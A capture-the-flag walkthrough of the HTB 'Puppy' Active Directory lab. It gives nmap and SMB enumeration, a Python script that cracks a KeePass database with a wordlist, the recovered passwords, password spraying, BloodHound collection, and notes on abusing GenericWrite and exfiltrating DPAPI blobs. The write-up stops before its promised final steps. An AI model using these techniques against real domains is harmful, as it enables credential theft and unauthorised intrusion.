A concise, practical walkthrough of the HTB “Puppy” Active Directory machine. It covers network enumeration, KeePass credential recovery, abusing GenericWrite to modify group membership, lateral movement, and final Domain Admin takeover — with exact commands and notes to reproduce the steps.
Overview
A structured tree of this writeup for quick navigation:
1 Recon
1.1 Nmap scan
1.2 SMB enumeration
1.2.1 Accessing the ‘DEV’ share
2 Credential recovery (KeePass)
3 Lateral movement & exploitation
4 Privilege escalation (DPAPI / masterkeys)
5 Post-exploit & root proof
1 Recon
1.1 Nmap scan
1
nmap -sV-sC-oA nmap 10.10.11.70 -v-p-
Nmap machine results
1
2
3
4
5
6
7
8
9
10
11
12
13
3/tcp open domain syn-ack Simple DNS Plus
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-05-18 02:03:58Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack
2049/tcp open mountd syn-ack 1-3 (RPC #100005)
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
smb: \> dir
. DR 0 Sun Mar 23 03:07:57 2025
.. D 0 Sat Mar 8 11:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 03:09:12 2025
Projects D 0 Sat Mar 8 11:53:36 2025
recovery.kdbx A 2677 Tue Mar 11 22:25:46 2025
5080575 blocks of size 4096. 1523165 blocks available
Cracking ‘recovery.kdbx’
Cracking ‘recovery.kdbx’ using keepass2john faced issues,
1
2
keepass2john recovery.kdbx > hash
! recovery.kdbx : File version '40000' is currently not supported!
so I used simple python script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pykeepass import PyKeePass
from tqdm import tqdm
db_path = 'recovery.kdbx'
wordlist_path = '/usr/share/wordlists/rockyou.txt'
with open(wordlist_path, 'r', encoding='latin-1') as f:
passwords = f.readlines()
for password in tqdm(passwords):
password = password.strip()
try:
kp = PyKeePass(db_path, password=password)
print(f'[+] Password found: {password}')
break
except Exception:
continue
ADAM SILVER:HJKL2025!
ANTONY C. EDWARDS:Antman2025!
JAMIE WILLIAMSON:JamieLove2025!
SAMUEL BLAKE:ILY2025!
STEVE TUCKER:Steve2025!
Accessing the ‘DEV’ share
1
nxc smb DC.PUPPY.HTB -u usernames -p passwords
1
SMB 10.10.11.70 445 DC [-] PUPPY.HTB\adam.silver:Antman2025! STATUS_ACCOUNT_DISABLED
BloodHound Enumeration
1
bloodhound-python -u levi.james -p'KingofAkron2025!'-d'PUPPY.HTB'-dc-ip 10.10.11.70 --collection-method All
It appears that the user levi.james belongs to the HR group, which has been granted the GenericWrite permission over the DEVELOPERS group. This level of access allows us to modify group membership—specifically, we can add our own user account to the DEVELOPERS group. To carry out this action, we can utilize the BloodyAD tool.
To exfiltrate the blobs, we can use certutil to convert the files into Base64 format on the target machine. Once encoded, we can transfer them to our own system and decode them back to their original form locally.
At this stage, we can transfer the Base64-encoded strings to our own machine, decode them, and save the output to a file. Once that’s done, we can use dpapi.py to extract the credentials from the decrypted data.